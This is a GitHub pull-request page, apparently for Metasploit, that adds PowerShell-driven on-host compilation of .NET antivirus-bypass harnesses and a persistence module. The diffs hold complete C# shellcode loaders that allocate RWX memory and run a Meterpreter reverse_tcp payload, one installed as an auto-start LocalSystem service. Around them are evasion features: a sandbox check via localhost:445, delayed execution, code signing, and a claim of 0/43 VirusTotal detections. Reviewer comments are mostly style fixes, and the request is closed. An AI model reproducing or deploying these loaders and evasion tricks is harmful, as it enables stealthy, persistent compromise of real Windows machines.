Skip to content
This repository

Dynamic Executables via .NET with Hostess' DotNetAvBypass #701

Closed
wants to merge 10 commits into from

3 participants

RageLtMan James Lee Tod Beardsley
RageLtMan

This pull request adds the following end user functionality:
dynamic .NET code builder module: builds .NET code with powershell
.NET AV Bypass: uses Matt Andreko's .NET AV Bypass as a template and compiles on the remote host
Service template has some additional AV evasion built in (localhost:445 check for sandboxing, delay)
Original sources at https://github.com/mandreko/DotNetAVBypass
Current user psexec: modified to use on-host payloads

Changes in lib allow for cleaner execution of powershell scripts, along with greedy cleanup. Added core methods for generating .NET compiler scripts and powershell .NET elevators (to load different .NET CLR versions into the shell).

At present, the generated payloads pass VT with 0/43 hits. Once in trunk these binaries will be flagged pretty quickly, but additional obfuscation is possible and we request that programmatic obfuscation methods be submitted for pull request. I've not yet found a reasonable way to parse and obfuscate c#/vb.net with ruby or powershell, so suggestions are welcome.

added some commits August 14, 2012
update psh-net encoder with dynamic function name ed21bc0
Initial Framework Commit of .NET dynamic EXE
This commit adds powershell functionality to dynamically compile .NET code.
Initially this is used to embed payloads into Matt Andreko's (hostess)
.NET AV Bypass harnesses which he has kindly modified to offer an EXE
and a service to host payloads. We've added a localhost:445 check to the
service sources to check for sandboxing, an will be porting service code
enhancements back to the EXE.

Post::Windows::Powershell dot_net_compiler method takes an options hash
which currently needs either source code or a a file path. Other options
currently include a code provider (can use VB.net too), payload, cert (see below),
and compiler options.

Payload space should be marked as MSF_PAYLOAD_SPACE for substitution on load.
Lastly, a path to a PFX certificate on the host can be passed to the dot_net_compiler,
powershell can "Set-AuthenticodeSignature" the resulting EXE for more AV evasion.
The Exploit::Local module is still in local testing and will be commited at the
next pass.

TODO: massive testing, checks for installed .NET versions - we should be able to
use 3.5 just fine, a .NET 3.5 loader, self-signed certificate generation and
import to the keystore - make us trusted even without a proper code signing cert.
Ideally the harnesses should compile in .NET 2.0+, Hostess is working to resolve.
Should also convert the bypassuac sources to single-file assemblies for in-memory
compilation and potential use without dropping an EXE whatsoever.
18474d7
Created Powershell::DotNet namespace
Added initial persistence module
Added assemblies option and generation to .net compiler
Service compiles, but does not install/run properly (sc create works)
983cf35
Fixed Windows Service generation, improved module
Added service options to model
Added certificate options
Created delay for compiler lag - output binary would often drop
only after the module tried to access it
Added .NET 3.5 exec wrapper for compiler

TODO:
Create PS handlers to kill exec wrappers on completion
  Currently stale powershell procs remain in testing
Create lib functions to enumerate available assemblies
  Dynamically parse assembly requirements and feed to PS
008e4ff
Added x86 runtime compatibility mode to .NET CLR elevator 0d2bd08
Fixed svc generation and updated powershell.rb
Service template had windows ASCII-8bit encoding garbage
Added execution time and log options to powershell mixin
Refactored powershell logging and output
ad25fd0
Cleaned up module and powershell execution
Powershell can execute other powershells, and we dont know the PIDs.
Adde a greedy_kill option to powershell execution which tries to
compare prior ps.exe PIDs with new ones after execution.

Module now checks to see if its running as SYSTEM - it cant compile .NET
Module can remove services and delete the binaries.
Module provides a bunch of debug output about what its doing.
aae8c55
Generic .NET code compilation post module
Added post module to compile .NET source code.
This module is a generalized PoC for the method used to build hostess'
dot net av bypass harnesses. Takes source code, compiler options, and
can run the generated binary on completion. Handy when spinning up
the IDE is pointless.

Current user psexec can also take a local file option and a delay
to make use of the .NET generated service payload and wait for its
delayed shellcode exec.

Minor lib cleanup for dot_net methods and opt handling
71ceb08
change net_clr requirement to float 4b2a6df
Fix net_clr version check 214677c
James Lee jlee-r7 commented on the diff August 20, 2012
lib/msf/core/post/windows/powershell/dot_net.rb
((18 lines not shown))
  18
+	def dot_net_compiler(opts = {})
  19
+		#TODO: 
  20
+		# allow compilation entirely in memory with a b64 encoded product for export without disk access
  21
+		# Dynamically assign assemblies based on dot_net_code require/includes
  22
+		# 	Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
  23
+
  24
+		# Critical
  25
+		dot_net_code = opts[:harness]
  26
+		if ::File.file?(dot_net_code)
  27
+			dot_net_code = ::File.read(dot_net_code)
  28
+			#vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
  29
+		end
  30
+		return if dot_net_code.nil? or dot_net_code.empty?
  31
+
  32
+		# Ensure we're not running ASCII-8bit through powershell
  33
+		dot_net_code = dot_net_code.force_encoding('ASCII')
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

Fails on 1.8; add something like if dot_net_code.respond_to? :force_encoding

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
lib/msf/util/exe.rb
@@ -1120,12 +1121,12 @@ def self.to_win32pe_psh_net(framework, code, opts={})
1120 1121
 		end
1121 1122
 		psh << lines.join("") + "\r\n\r\n"
1122 1123
 
1123  
-		psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
  1124
+		psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n"
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

Ridiculously long line. 100 columns, please

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/exploits/windows/local/ps_persist.rb
((72 lines not shown))
  72
+				OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
  73
+				OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
  74
+
  75
+			], self.class)
  76
+
  77
+	end
  78
+
  79
+	def exploit
  80
+
  81
+		# Make sure we meet the requirements before running the script
  82
+		if !(session.type == "meterpreter" || have_powershell?)
  83
+			print_error("Incompatible Environment")
  84
+			return 0
  85
+		end
  86
+		# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
  87
+		if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

This string is localized. Check will fail if we're running on a non-English system

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/exploits/windows/local/ps_persist.rb
((85 lines not shown))
  85
+		end
  86
+		# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
  87
+		if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
  88
+			print_error("Cannot run as system")
  89
+			return 0
  90
+		end
  91
+		
  92
+
  93
+
  94
+		# End of file marker
  95
+		eof = Rex::Text.rand_text_alpha(8)
  96
+		env_suffix = Rex::Text.rand_text_alpha(8)
  97
+
  98
+		com_opts = {}
  99
+		com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
  100
+		com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

datastore options may come in as an empty string. Better would be something like:

com_opts[:target] = datastore["OUTPUT_TARGET"]
if com_opts[:target].nil? or com_opts[:target].empty?
    com_opts[:target] = ...
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/exploits/windows/local/ps_persist.rb
((88 lines not shown))
  88
+			print_error("Cannot run as system")
  89
+			return 0
  90
+		end
  91
+		
  92
+
  93
+
  94
+		# End of file marker
  95
+		eof = Rex::Text.rand_text_alpha(8)
  96
+		env_suffix = Rex::Text.rand_text_alpha(8)
  97
+
  98
+		com_opts = {}
  99
+		com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
  100
+		com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
  101
+		com_opts[:payload] = payload_script
  102
+		if datastore['SVC_GEN']
  103
+			com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

files that are used directly should not live in external/source/. Move this to data/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/exploits/windows/local/ps_persist.rb
((155 lines not shown))
  155
+			if datastore['SVC_GEN']
  156
+				service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
  157
+				if service_start(datastore['SVC_NAME']).to_i == 0
  158
+					vprint_good("Service Started")
  159
+				end
  160
+			else
  161
+				session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
  162
+			end
  163
+		end
  164
+
  165
+
  166
+		print_good('Finished!')
  167
+	end
  168
+
  169
+
  170
+	# This should be handled by the exploit mixin, right?
2
James Lee Collaborator
jlee-r7 added a note August 20, 2012

Yes, you definitely should not be creating payloads yourself.

Though i concur i'm a bit hazy on how to do this. I tried adding payload options like normal exploits have at the init hash, but they're not taken into account. Could you provide a quick mock-up for me to work from?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/post/windows/manage/powershell/build_net_code.rb
((14 lines not shown))
  14
+require 'msf/core/post/windows/powershell'
  15
+require 'msf/core/post/windows/powershell/dot_net'
  16
+
  17
+class Metasploit3 < Msf::Post
  18
+	Rank = ExcellentRanking
  19
+
  20
+	include Msf::Post::Windows::Powershell
  21
+	include Msf::Post::Windows::Powershell::DotNet
  22
+
  23
+	def initialize(info={})
  24
+		super(update_info(info,
  25
+			'Name'                 => "Powershell .NET Compiler",
  26
+			'Description'          => %q{
  27
+				This module will build a .NET source file using powershell. The compiler builds
  28
+				the executable or library in memory and produces a binary. After compilation the 
  29
+				PoweShell session can also sign the executable if provided a path the a .pfx formatted
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

Typos.
s/PoweShell/PowerShell/
s/path the a/path to a/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/post/windows/manage/powershell/build_net_code.rb
((31 lines not shown))
  31
+				in the datastore.
  32
+			},
  33
+			'License'              => MSF_LICENSE,
  34
+			'Version'              => '$Revision$',
  35
+			'Author'               => 'RageLtMan <rageltman[at]sempervictus>',
  36
+			'Platform'      => [ 'windows' ],
  37
+			'SessionTypes'  => [ 'meterpreter' ],
  38
+			'Targets' => [ [ 'Universal', {} ] ],
  39
+			'DefaultTarget' => 0,
  40
+
  41
+		))
  42
+
  43
+		register_options(
  44
+			[
  45
+				OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
  46
+				OptBool.new('RUN_BINARY', [false, 'Execute the genrated binary', false]),
1
James Lee Collaborator
jlee-r7 added a note August 20, 2012

s/genrated/generated/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
James Lee jlee-r7 commented on the diff August 20, 2012
modules/post/windows/manage/powershell/build_net_code.rb
((57 lines not shown))
  57
+		register_advanced_options(
  58
+			[
  59
+				OptString.new('NET_CLR_VER', [false, 'Minimun NET CLR version required to compile', '3.5']),
  60
+			], self.class)
  61
+
  62
+	end
  63
+
  64
+	def exploit
  65
+
  66
+		# Make sure we meet the requirements before running the script
  67
+		if !(session.type == "meterpreter" || have_powershell?)
  68
+			print_error("Incompatible Environment")
  69
+			return 0
  70
+		end
  71
+		# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
  72
+		if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
2
James Lee Collaborator
jlee-r7 added a note August 20, 2012

Localized, see above.

Whats the non-localized way to get privilege level?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Tod Beardsley todb-r7 closed this August 22, 2012
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Showing 10 unique commits by 1 author.

Aug 17, 2012
update psh-net encoder with dynamic function name ed21bc0
Initial Framework Commit of .NET dynamic EXE
This commit adds powershell functionality to dynamically compile .NET code.
Initially this is used to embed payloads into Matt Andreko's (hostess)
.NET AV Bypass harnesses which he has kindly modified to offer an EXE
and a service to host payloads. We've added a localhost:445 check to the
service sources to check for sandboxing, an will be porting service code
enhancements back to the EXE.

Post::Windows::Powershell dot_net_compiler method takes an options hash
which currently needs either source code or a a file path. Other options
currently include a code provider (can use VB.net too), payload, cert (see below),
and compiler options.

Payload space should be marked as MSF_PAYLOAD_SPACE for substitution on load.
Lastly, a path to a PFX certificate on the host can be passed to the dot_net_compiler,
powershell can "Set-AuthenticodeSignature" the resulting EXE for more AV evasion.
The Exploit::Local module is still in local testing and will be commited at the
next pass.

TODO: massive testing, checks for installed .NET versions - we should be able to
use 3.5 just fine, a .NET 3.5 loader, self-signed certificate generation and
import to the keystore - make us trusted even without a proper code signing cert.
Ideally the harnesses should compile in .NET 2.0+, Hostess is working to resolve.
Should also convert the bypassuac sources to single-file assemblies for in-memory
compilation and potential use without dropping an EXE whatsoever.
18474d7
Created Powershell::DotNet namespace
Added initial persistence module
Added assemblies option and generation to .net compiler
Service compiles, but does not install/run properly (sc create works)
983cf35
Fixed Windows Service generation, improved module
Added service options to model
Added certificate options
Created delay for compiler lag - output binary would often drop
only after the module tried to access it
Added .NET 3.5 exec wrapper for compiler

TODO:
Create PS handlers to kill exec wrappers on completion
  Currently stale powershell procs remain in testing
Create lib functions to enumerate available assemblies
  Dynamically parse assembly requirements and feed to PS
008e4ff
Added x86 runtime compatibility mode to .NET CLR elevator 0d2bd08
Fixed svc generation and updated powershell.rb
Service template had windows ASCII-8bit encoding garbage
Added execution time and log options to powershell mixin
Refactored powershell logging and output
ad25fd0
Cleaned up module and powershell execution
Powershell can execute other powershells, and we dont know the PIDs.
Adde a greedy_kill option to powershell execution which tries to
compare prior ps.exe PIDs with new ones after execution.

Module now checks to see if its running as SYSTEM - it cant compile .NET
Module can remove services and delete the binaries.
Module provides a bunch of debug output about what its doing.
aae8c55
Aug 18, 2012
Generic .NET code compilation post module
Added post module to compile .NET source code.
This module is a generalized PoC for the method used to build hostess'
dot net av bypass harnesses. Takes source code, compiler options, and
can run the generated binary on completion. Handy when spinning up
the IDE is pointless.

Current user psexec can also take a local file option and a delay
to make use of the .NET generated service payload and wait for its
delayed shellcode exec.

Minor lib cleanup for dot_net methods and opt handling
71ceb08
change net_clr requirement to float 4b2a6df
Aug 19, 2012
Fix net_clr version check 214677c
This page is out of date. Refresh to see the latest.
86  external/source/psh_exe/dot_net_exe.cs
... ...
@@ -0,0 +1,86 @@
  1
+using System;
  2
+using System.Runtime.InteropServices;
  3
+
  4
+namespace Wrapper
  5
+{
  6
+    class Program
  7
+    {
  8
+        [Flags]
  9
+        public enum AllocationType : uint
  10
+        {
  11
+            COMMIT = 0x1000,
  12
+            RESERVE = 0x2000,
  13
+            RESET = 0x80000,
  14
+            LARGE_PAGES = 0x20000000,
  15
+            PHYSICAL = 0x400000,
  16
+            TOP_DOWN = 0x100000,
  17
+            WRITE_WATCH = 0x200000
  18
+        }
  19
+
  20
+        [Flags]
  21
+        public enum MemoryProtection : uint
  22
+        {
  23
+            EXECUTE = 0x10,
  24
+            EXECUTE_READ = 0x20,
  25
+            EXECUTE_READWRITE = 0x40,
  26
+            EXECUTE_WRITECOPY = 0x80,
  27
+            NOACCESS = 0x01,
  28
+            READONLY = 0x02,
  29
+            READWRITE = 0x04,
  30
+            WRITECOPY = 0x08,
  31
+            GUARD_Modifierflag = 0x100,
  32
+            NOCACHE_Modifierflag = 0x200,
  33
+            WRITECOMBINE_Modifierflag = 0x400
  34
+        }
  35
+
  36
+        public enum FreeType : uint
  37
+        {
  38
+            MEM_DECOMMIT = 0x4000,
  39
+            MEM_RELEASE = 0x8000
  40
+        }
  41
+
  42
+        [DllImport("kernel32.dll", SetLastError = true)]
  43
+        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
  44
+
  45
+        [DllImport("kernel32.dll")]
  46
+        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  47
+
  48
+        [DllImport("kernel32")]
  49
+        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
  50
+
  51
+        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
  52
+        public delegate Int32 ExecuteDelegate();
  53
+
  54
+        static void Main()
  55
+        {
  56
+            // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
  57
+            string shellcode = "MSF_PAYLOAD_SPACE";
  58
+
  59
+
  60
+            byte[] sc = new byte[shellcode.Length];
  61
+
  62
+            for (int i = 0; i < shellcode.Length; i++)
  63
+            {
  64
+                sc[i] = Convert.ToByte(shellcode[i]);
  65
+            }
  66
+
  67
+            // Allocate RWX memory for the shellcode
  68
+            IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
  69
+
  70
+            try
  71
+            {
  72
+                // Copy shellcode to RWX buffer
  73
+                Marshal.Copy(sc, 0, baseAddr, sc.Length);
  74
+
  75
+                // Get pointer to function created in memory
  76
+                ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
  77
+
  78
+                del();
  79
+            }
  80
+            finally
  81
+            {
  82
+                VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
  83
+            }
  84
+        }
  85
+    }
  86
+}
217  external/source/psh_exe/dot_net_service.cs
... ...
@@ -0,0 +1,217 @@
  1
+
  2
+using System;
  3
+using System.ComponentModel;
  4
+using System.Configuration.Install;
  5
+using System.Net;
  6
+using System.Net.Sockets;
  7
+using System.Runtime.InteropServices;
  8
+using System.ServiceProcess;
  9
+using System.Threading;
  10
+using System.Timers;
  11
+using Timer = System.Timers.Timer;
  12
+
  13
+namespace Wrapper
  14
+{
  15
+    class Program : ServiceBase
  16
+    {
  17
+        #region Fields
  18
+
  19
+        private static Timer _timer; 
  20
+
  21
+        #endregion
  22
+
  23
+        #region PInvoke Setup
  24
+
  25
+        [Flags]
  26
+        public enum AllocationType : uint
  27
+        {
  28
+            COMMIT = 0x1000,
  29
+            RESERVE = 0x2000,
  30
+            RESET = 0x80000,
  31
+            LARGE_PAGES = 0x20000000,
  32
+            PHYSICAL = 0x400000,
  33
+            TOP_DOWN = 0x100000,
  34
+            WRITE_WATCH = 0x200000
  35
+        }
  36
+
  37
+        [Flags]
  38
+        public enum MemoryProtection : uint
  39
+        {
  40
+            EXECUTE = 0x10,
  41
+            EXECUTE_READ = 0x20,
  42
+            EXECUTE_READWRITE = 0x40,
  43
+            EXECUTE_WRITECOPY = 0x80,
  44
+            NOACCESS = 0x01,
  45
+            READONLY = 0x02,
  46
+            READWRITE = 0x04,
  47
+            WRITECOPY = 0x08,
  48
+            GUARD_Modifierflag = 0x100,
  49
+            NOCACHE_Modifierflag = 0x200,
  50
+            WRITECOMBINE_Modifierflag = 0x400
  51
+        }
  52
+
  53
+        public enum FreeType : uint
  54
+        {
  55
+            MEM_DECOMMIT = 0x4000,
  56
+            MEM_RELEASE = 0x8000
  57
+        }
  58
+
  59
+        [DllImport("kernel32.dll", SetLastError = true)]
  60
+        static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
  61
+
  62
+        [DllImport("kernel32.dll")]
  63
+        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  64
+
  65
+        [DllImport("kernel32")]
  66
+        private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
  67
+
  68
+        [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
  69
+        public delegate Int32 ExecuteDelegate(); 
  70
+
  71
+        #endregion
  72
+
  73
+        #region Constructors
  74
+        
  75
+        public Program()
  76
+        {
  77
+            ServiceName = "DotNetAVBypassService";
  78
+            _timer = new Timer
  79
+                         {
  80
+                             Interval = 20000 // 20 seconds
  81
+                         };
  82
+            _timer.Elapsed += RunShellCode;
  83
+            _timer.AutoReset = true;
  84
+        }
  85
+        
  86
+        #endregion
  87
+
  88
+        #region ServiceBase Methods
  89
+
  90
+        protected override void OnStart(string[] args)
  91
+        {
  92
+            base.OnStart(args);
  93
+            _timer.Start();
  94
+        }
  95
+
  96
+        protected override void OnStop()
  97
+        {
  98
+            base.OnStop();
  99
+            _timer.Stop();
  100
+        }
  101
+
  102
+        #endregion
  103
+
  104
+        static void Main()
  105
+        {
  106
+            Run(new Program());
  107
+        }
  108
+
  109
+        private void RunShellCode(object sender, ElapsedEventArgs e)
  110
+        {
  111
+            _timer.Stop();
  112
+            
  113
+            // only run shellcode if you can connect to localhost:445, due to endpoint protections
  114
+            if (ConnectToLocalhost(445))
  115
+            {
  116
+                try
  117
+                {
  118
+                    // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
  119
+                    string shellcode = "MSF_PAYLOAD_SPACE";
  120
+
  121
+                    byte[] sc = new byte[shellcode.Length];
  122
+
  123
+                    for (int i = 0; i < shellcode.Length; i++)
  124
+                    {
  125
+                        sc[i] = Convert.ToByte(shellcode[i]);
  126
+                    }
  127
+
  128
+                    // Allocate RWX memory for the shellcode
  129
+                    IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
  130
+                    System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");
  131
+
  132
+                    try
  133
+                    {
  134
+                        // Copy shellcode to RWX buffer
  135
+                        Marshal.Copy(sc, 0, baseAddr, sc.Length);
  136
+
  137
+                        // Get pointer to function created in memory
  138
+                        ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
  139
+
  140
+                        // Run this in a separate thread, so that we can wait for it to die before continuing the timer
  141
+                        Thread thread = new Thread(() => del());
  142
+
  143
+                        thread.Start();
  144
+                        thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread
  145
+                    }
  146
+                    finally
  147
+                    {
  148
+                        VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
  149
+                    }
  150
+                }
  151
+                catch
  152
+                {
  153
+                    // Eat it
  154
+                }
  155
+            }
  156
+            _timer.Start();
  157
+        } 
  158
+
  159
+        private static bool ConnectToLocalhost(int port)
  160
+        {
  161
+            IPAddress localhost = IPAddress.Parse("127.0.0.1");
  162
+            TcpClient tcpClient = new TcpClient();
  163
+
  164
+            bool isSuccess = false;
  165
+            
  166
+            try
  167
+            {
  168
+                tcpClient.Connect(localhost, port);
  169
+                isSuccess = true;
  170
+            }
  171
+            catch
  172
+            {
  173
+                // I know this is bad code-fu, but just eat the error
  174
+            }
  175
+            finally
  176
+            {
  177
+                if (tcpClient.Connected)
  178
+                {
  179
+                    tcpClient.Close();    
  180
+                }
  181
+            }
  182
+
  183
+            return isSuccess;
  184
+        }
  185
+
  186
+    }
  187
+
  188
+    [RunInstaller(true)]
  189
+    public class DotNetAVBypassServiceInstaller : Installer
  190
+    {
  191
+        public DotNetAVBypassServiceInstaller()
  192
+        {
  193
+            var processInstaller = new ServiceProcessInstaller();
  194
+            var serviceInstaller = new ServiceInstaller();
  195
+
  196
+            //set the privileges
  197
+            processInstaller.Account = ServiceAccount.LocalSystem;
  198
+
  199
+            serviceInstaller.DisplayName = "DotNetAVBypassService";
  200
+            serviceInstaller.StartType = ServiceStartMode.Automatic;
  201
+
  202
+            //must be the same as what was set in Program's constructor
  203
+            serviceInstaller.ServiceName = "DotNetAVBypassService";
  204
+
  205
+            Installers.Add(processInstaller);
  206
+            Installers.Add(serviceInstaller);
  207
+        }
  208
+
  209
+        public override void Install(System.Collections.IDictionary stateSaver)
  210
+        {
  211
+            base.Install(stateSaver);
  212
+            ServiceController controller = new ServiceController("DotNetAVBypassService"); // Make sure this name matches the service name!
  213
+            controller.Start();
  214
+        }
  215
+    }
  216
+}
  217
+
108  lib/msf/core/post/windows/powershell.rb
@@ -9,12 +9,14 @@ module Windows
9 9
 module Powershell
10 10
 	include ::Msf::Post::Common
11 11
 
12  
-
13  
-	# List of running processes, open channels, and env variables...
14  
-
15  
-
16  
-	# Suffix for environment variables
17  
-
  12
+	def initialize(info = {})
  13
+		super
  14
+		register_advanced_options(
  15
+			[
  16
+				OptInt.new('PS_TIMEOUT',   [true, 'Powershell execution timeout', 15]),
  17
+				OptBool.new('LOG_OUTPUT', [true, 'Write output to log file', false])
  18
+			], self.class)
  19
+	end
18 20
 
19 21
 	def have_powershell?
20 22
 		cmd_out = cmd_exec("powershell get-host")
@@ -23,6 +25,10 @@ def have_powershell?
23 25
 	end
24 26
 
25 27
 	def make_subs(script, subs)
  28
+		if ::File.file?(script)
  29
+			script = ::File.read(script)
  30
+		end
  31
+
26 32
 		subs.each do |set|
27 33
 			script.gsub!(set[0],set[1])
28 34
 		end
@@ -30,6 +36,7 @@ def make_subs(script, subs)
30 36
 			print_good("Final Script: ")
31 37
 			script.each_line {|l| print_status("\t#{l}")}
32 38
 		end
  39
+		return script
33 40
 	end
34 41
 
35 42
 	def process_subs(subs)
@@ -96,12 +103,35 @@ def compress_script(script_in, eof = nil)
96 103
 		return encoded_expression
97 104
 	end
98 105
 
99  
-	def execute_script(script, time_out = 15)
100  
-		running_pids, open_channels = [], []
  106
+	def get_ps_pids(pids = [])
  107
+		# Get/compare list of current PS processes - nested execution can spawn many children
  108
+		# doing checks before and after execution allows us to kill more children...
  109
+		# This is a hack, better solutions are welcome since this could kill user 
  110
+		# spawned powershell windows created between comparisons.
  111
+		current_pids = session.sys.process.get_processes.keep_if {|p| 
  112
+			p['name'].downcase == 'powershell.exe'
  113
+		}.map {|p| p['pid']}
  114
+		# Subtract previously known pids
  115
+		current_pids = (current_pids - pids).uniq
  116
+		return current_pids
  117
+	end
  118
+
  119
+
  120
+	def execute_script(script, greedy_kill = false)
  121
+
  122
+		running_pids = greedy_kill ? get_ps_pids : []
  123
+		open_channels = []
101 124
 		# Execute using -EncodedCommand
102  
-		session.response_timeout = time_out
  125
+		session.response_timeout = datastore['PS_TIMEOUT'].to_i
103 126
 		cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
104  
-			"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
  127
+			"#{script}", nil, {'Hidden' => true, 'Channelized' => true}
  128
+		)
  129
+
  130
+		# Subtract prior PIDs from current
  131
+		if greedy_kill
  132
+			Rex::ThreadSafe.sleep(3) # Let PS start child procs
  133
+			running_pids = get_ps_pids(running_pids) 
  134
+		end
105 135
 
106 136
 		# Add to list of running processes
107 137
 		running_pids << cmd_out.pid
@@ -109,7 +139,7 @@ def execute_script(script, time_out = 15)
109 139
 		# Add to list of open channels
110 140
 		open_channels << cmd_out
111 141
 
112  
-		return [cmd_out, running_pids, open_channels]
  142
+		return [cmd_out, running_pids.uniq, open_channels]
113 143
 	end
114 144
 
115 145
 	def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
@@ -159,26 +189,49 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
159 189
 		return encoded_script
160 190
 	end
161 191
 
162  
-	def write_to_log(cmd_out, log_file, eof)
163  
-		# Open log file for writing
164  
-		fd = ::File.new(log_file, 'w+')
  192
+ 	def get_ps_output(cmd_out, eof, read_wait = 5)
  193
+
  194
+ 		results = ''
  195
+
  196
+		if datastore['LOG_OUTPUT']
  197
+			# Get target's computer name
  198
+			computer_name = session.sys.config.sysinfo['Computer']
  199
+
  200
+			# Create unique log directory
  201
+			log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
  202
+			::FileUtils.mkdir_p(log_dir)
  203
+
  204
+			# Define log filename
  205
+			time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
  206
+			log_file    = ::File.join(log_dir,"#{time_stamp}.txt")
165 207
 
166  
-		# Read output until eof and write to log
167  
-		while (line = cmd_out.channel.read())
  208
+
  209
+			# Open log file for writing
  210
+			fd = ::File.new(log_file, 'w+')
  211
+		end
  212
+
  213
+		# Read output until eof or nil read and write to log
  214
+		while (1)
  215
+			line = ::Timeout.timeout(read_wait) {
  216
+				cmd_out.channel.read
  217
+			} rescue nil
  218
+			break if line.nil?
168 219
 			if (line.sub!(/#{eof}/, ''))
169  
-				fd.write(line)
  220
+				results << line
  221
+				fd.write(line) if fd
170 222
 				vprint_good("\t#{line}")
171  
-				cmd_out.channel.close()
172 223
 				break
173 224
 			end
174  
-			fd.write(line)
175  
-			vprint_good("\t#{line}")
  225
+			results << line
  226
+			fd.write(line) if fd
  227
+			vprint_good("\n#{line}")
176 228
 		end
177 229
 
178 230
 		# Close log file
179  
-		fd.close()
  231
+		cmd_out.channel.close()
  232
+		fd.close() if fd
180 233
 
181  
-		return
  234
